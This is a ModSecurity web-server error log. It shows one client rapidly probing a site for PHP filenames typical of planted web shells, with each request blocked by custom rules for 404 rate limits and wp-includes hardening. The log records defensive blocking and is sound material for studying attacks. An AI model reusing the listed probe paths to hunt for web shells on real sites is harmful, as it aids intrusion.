[Thu Dec 18 19:41:12.370769 2025] [:error] [pid 23645:tid 23652] [client 4.196.109.118:6102] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sfcl.php"] [unique_id "aUPoWDf_Rx0Y0ao_QJhK9AAAAIU"]
[Thu Dec 18 19:41:12.880397 2025] [:error] [pid 25357:tid 25376] [client 4.196.109.118:6084] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sfcl.php"] [unique_id "aUPoWIaT7bsEXnJVfJdVsQAAAdE"]
[Thu Dec 18 19:41:13.523398 2025] [:error] [pid 25357:tid 25368] [client 4.196.109.118:6140] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sfcl.php"] [unique_id "aUPoWYaT7bsEXnJVfJdVsgAAAck"]
[Thu Dec 18 19:41:14.143873 2025] [:error] [pid 23556:tid 23565] [client 4.196.109.118:6016] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/npcs7k.php"] [unique_id "aUPoWhnmLlk3u5yt9kHXAgAAAAU"]
[Thu Dec 18 19:41:14.601515 2025] [:error] [pid 23645:tid 23657] [client 4.196.109.118:6092] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/npcs7k.php"] [unique_id "aUPoWjf_Rx0Y0ao_QJhK9gAAAIo"]
[Thu Dec 18 19:41:16.757304 2025] [:error] [pid 24433:tid 24437] [client 4.196.109.118:6142] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/npcs7k.php"] [unique_id "aUPoXJ4pN9ycmipm8TjIgAAAAQE"]
[Thu Dec 18 19:41:17.668613 2025] [:error] [pid 24433:tid 24459] [client 4.196.109.118:6143] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/npcs7k.php"] [unique_id "aUPoXZ4pN9ycmipm8TjIggAAARc"]
[Thu Dec 18 19:41:18.795421 2025] [:error] [pid 12239:tid 12255] [client 4.196.109.118:6128] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aUPoXtNnXxfGIuWO6an8cAAAAos"]
[Thu Dec 18 19:41:20.161939 2025] [:error] [pid 24433:tid 24438] [client 4.196.109.118:6121] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aUPoYJ4pN9ycmipm8TjIhAAAAQI"]
[Thu Dec 18 19:41:20.967377 2025] [:error] [pid 23558:tid 23620] [client 4.196.109.118:6110] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aUPoYOHam9NbgPQa9uYJwgAAAMU"]
[Thu Dec 18 19:41:21.243859 2025] [:error] [pid 12239:tid 12263] [client 4.196.109.118:6024] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aUPoYdNnXxfGIuWO6an8cQAAApM"]
[Thu Dec 18 19:41:22.371834 2025] [:error] [pid 12239:tid 12259] [client 4.196.109.118:6131] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cro.php"] [unique_id "aUPoYtNnXxfGIuWO6an8cwAAAo8"]
[Thu Dec 18 19:41:22.895342 2025] [:error] [pid 12383:tid 12400] [client 4.196.109.118:6021] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cro.php"] [unique_id "aUPoYvdgllo9h1cyxGa12AAAAs4"]
[Thu Dec 18 19:41:23.075600 2025] [:error] [pid 24958:tid 24976] [client 4.196.109.118:6087] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cro.php"] [unique_id "aUPoY8kDOrUkd0wNm2G88AAAAY8"]
[Thu Dec 18 19:41:23.766476 2025] [:error] [pid 23558:tid 23625] [client 4.196.109.118:6030] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cro.php"] [unique_id "aUPoY-Ham9NbgPQa9uYJxAAAAMo"]
[Thu Dec 18 19:41:24.420483 2025] [:error] [pid 24958:tid 24967] [client 4.196.109.118:6136] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/egu.php"] [unique_id "aUPoZMkDOrUkd0wNm2G88wAAAYY"]
[Thu Dec 18 19:41:25.582265 2025] [:error] [pid 24542:tid 24566] [client 4.196.109.118:6082] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/egu.php"] [unique_id "aUPoZUtQz4H2oS3NrDb75AAAAVY"]
[Thu Dec 18 19:41:26.348615 2025] [:error] [pid 23558:tid 23634] [client 4.196.109.118:6035] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/egu.php"] [unique_id "aUPoZuHam9NbgPQa9uYJxwAAANM"]
[Thu Dec 18 19:41:26.732431 2025] [:error] [pid 23558:tid 23615] [client 4.196.109.118:6130] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/egu.php"] [unique_id "aUPoZuHam9NbgPQa9uYJyQAAAMA"]
[Thu Dec 18 19:41:27.074419 2025] [:error] [pid 24958:tid 24965] [client 4.196.109.118:6139] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doo.php"] [unique_id "aUPoZ8kDOrUkd0wNm2G89wAAAYQ"]
[Thu Dec 18 19:41:28.013905 2025] [:error] [pid 24958:tid 24985] [client 4.196.109.118:6054] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doo.php"] [unique_id "aUPoaMkDOrUkd0wNm2G8-AAAAZg"]
[Thu Dec 18 19:41:28.600372 2025] [:error] [pid 25357:tid 25362] [client 4.196.109.118:6113] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doo.php"] [unique_id "aUPoaIaT7bsEXnJVfJdVuwAAAcM"]
[Thu Dec 18 19:41:29.103975 2025] [:error] [pid 24433:tid 24444] [client 4.196.109.118:6040] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doo.php"] [unique_id "aUPoaZ4pN9ycmipm8TjIkgAAAQg"]
[Thu Dec 18 19:41:29.448827 2025] [:error] [pid 25357:tid 25374] [client 4.196.109.118:6129] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aUPoaYaT7bsEXnJVfJdVvAAAAc8"]
[Thu Dec 18 19:41:29.966621 2025] [:error] [pid 12239:tid 12264] [client 4.196.109.118:5960] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aUPoadNnXxfGIuWO6an8eAAAApQ"]
[Thu Dec 18 19:41:30.523868 2025] [:error] [pid 24542:tid 24554] [client 4.196.109.118:6120] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aUPoaktQz4H2oS3NrDb75gAAAUo"]
[Thu Dec 18 19:41:32.245368 2025] [:error] [pid 12239:tid 12252] [client 4.196.109.118:6032] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aUPobNNnXxfGIuWO6an8egAAAog"]
[Thu Dec 18 19:41:33.715277 2025] [:error] [pid 12383:tid 12403] [client 4.196.109.118:6023] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wakak.php"] [unique_id "aUPobfdgllo9h1cyxGa13QAAAtE"]
[Thu Dec 18 19:41:34.051550 2025] [:error] [pid 24433:tid 24438] [client 4.196.109.118:6081] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wakak.php"] [unique_id "aUPobp4pN9ycmipm8TjIlgAAAQI"]
[Thu Dec 18 19:41:34.340623 2025] [:error] [pid 24433:tid 24450] [client 4.196.109.118:6044] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wakak.php"] [unique_id "aUPobp4pN9ycmipm8TjIlwAAAQ4"]
[Thu Dec 18 19:41:35.032168 2025] [:error] [pid 24433:tid 24436] [client 4.196.109.118:6037] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wakak.php"] [unique_id "aUPob54pN9ycmipm8TjImQAAAQA"]
[Thu Dec 18 19:41:35.480500 2025] [:error] [pid 23558:tid 23636] [client 4.196.109.118:5972] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aUPob-Ham9NbgPQa9uYJ0QAAANU"]
[Thu Dec 18 19:41:35.768077 2025] [:error] [pid 23558:tid 23628] [client 4.196.109.118:6122] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aUPob-Ham9NbgPQa9uYJ0wAAAM0"]
[Thu Dec 18 19:41:36.334934 2025] [:error] [pid 12239:tid 12256] [client 4.196.109.118:6105] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aUPocNNnXxfGIuWO6an8fAAAAow"]
[Thu Dec 18 19:41:36.557152 2025] [:error] [pid 24958:tid 24971] [client 4.196.109.118:6104] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aUPocMkDOrUkd0wNm2G8-gAAAYo"]
[Thu Dec 18 19:41:37.689121 2025] [:error] [pid 12383:tid 12388] [client 4.196.109.118:6060] [client 4.196.109.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aUPocfdgllo9h1cyxGa14wAAAsI"]
[Thu Dec 18 19:41:38.249561 2025] [:error] [pid 23556:tid 23561] [client 4.196.109.118:6025] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aUPochnmLlk3u5yt9kHXCwAAAAE"]
[Thu Dec 18 19:41:38.709736 2025] [:error] [pid 24958:tid 24961] [client 4.196.109.118:6109] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aUPocskDOrUkd0wNm2G8-wAAAYA"]
[Thu Dec 18 19:41:38.849678 2025] [:error] [pid 24433:tid 24444] [client 4.196.109.118:6106] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aUPocp4pN9ycmipm8TjIngAAAQg"]
[Thu Dec 18 19:41:39.040966 2025] [:error] [pid 24433:tid 24458] [client 4.196.109.118:6026] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aUPoc54pN9ycmipm8TjInwAAARY"]
[Thu Dec 18 19:41:39.867785 2025] [:error] [pid 24433:tid 24449] [client 4.196.109.118:6127] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file2.php"] [unique_id "aUPoc54pN9ycmipm8TjIoAAAAQ0"]
[Thu Dec 18 19:41:40.305652 2025] [:error] [pid 24958:tid 24973] [client 4.196.109.118:6138] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file2.php"] [unique_id "aUPodMkDOrUkd0wNm2G8_QAAAYw"]
[Thu Dec 18 19:41:41.317635 2025] [:error] [pid 25357:tid 25372] [client 4.196.109.118:6114] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file2.php"] [unique_id "aUPodYaT7bsEXnJVfJdVwQAAAc0"]
[Thu Dec 18 19:41:41.754498 2025] [:error] [pid 23558:tid 23636] [client 4.196.109.118:6059] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file2.php"] [unique_id "aUPodeHam9NbgPQa9uYJ3AAAANU"]
[Thu Dec 18 19:41:42.402690 2025] [:error] [pid 25357:tid 25381] [client 4.196.109.118:6052] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUPodoaT7bsEXnJVfJdVwgAAAdY"]
[Thu Dec 18 19:41:43.040370 2025] [:error] [pid 24958:tid 24975] [client 4.196.109.118:5974] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUPod8kDOrUkd0wNm2G9AQAAAY4"]
[Thu Dec 18 19:41:44.295938 2025] [:error] [pid 23558:tid 23621] [client 4.196.109.118:5969] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUPoeOHam9NbgPQa9uYJ3wAAAMY"]
[Thu Dec 18 19:41:44.598714 2025] [:error] [pid 23558:tid 23631] [client 4.196.109.118:6020] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUPoeOHam9NbgPQa9uYJ4QAAANA"]
[Thu Dec 18 19:41:45.064797 2025] [:error] [pid 25357:tid 25361] [client 4.196.109.118:6091] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aUPoeYaT7bsEXnJVfJdVxQAAAcI"]
[Thu Dec 18 19:41:45.595314 2025] [:error] [pid 25357:tid 25369] [client 4.196.109.118:6034] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aUPoeYaT7bsEXnJVfJdVxgAAAco"]
[Thu Dec 18 19:41:46.370609 2025] [:error] [pid 23645:tid 23656] [client 4.196.109.118:6135] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aUPoejf_Rx0Y0ao_QJhK_AAAAIk"]
[Thu Dec 18 19:41:46.680536 2025] [:error] [pid 25357:tid 25376] [client 4.196.109.118:5962] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aUPoeoaT7bsEXnJVfJdVyAAAAdE"]
[Thu Dec 18 19:41:47.627064 2025] [:error] [pid 25357:tid 25367] [client 4.196.109.118:6029] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "aUPoe4aT7bsEXnJVfJdVzAAAAcg"]
[Thu Dec 18 19:41:48.672681 2025] [:error] [pid 23645:tid 23655] [client 4.196.109.118:6028] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "aUPofDf_Rx0Y0ao_QJhK_QAAAIg"]
[Thu Dec 18 19:41:49.596339 2025] [:error] [pid 24958:tid 24966] [client 4.196.109.118:6074] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "aUPofckDOrUkd0wNm2G9CAAAAYU"]
[Thu Dec 18 19:41:49.946951 2025] [:error] [pid 12035:tid 12056] [client 4.196.109.118:5975] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "aUPofbcVHrNSHjCo-0qIgAAAAg0"]
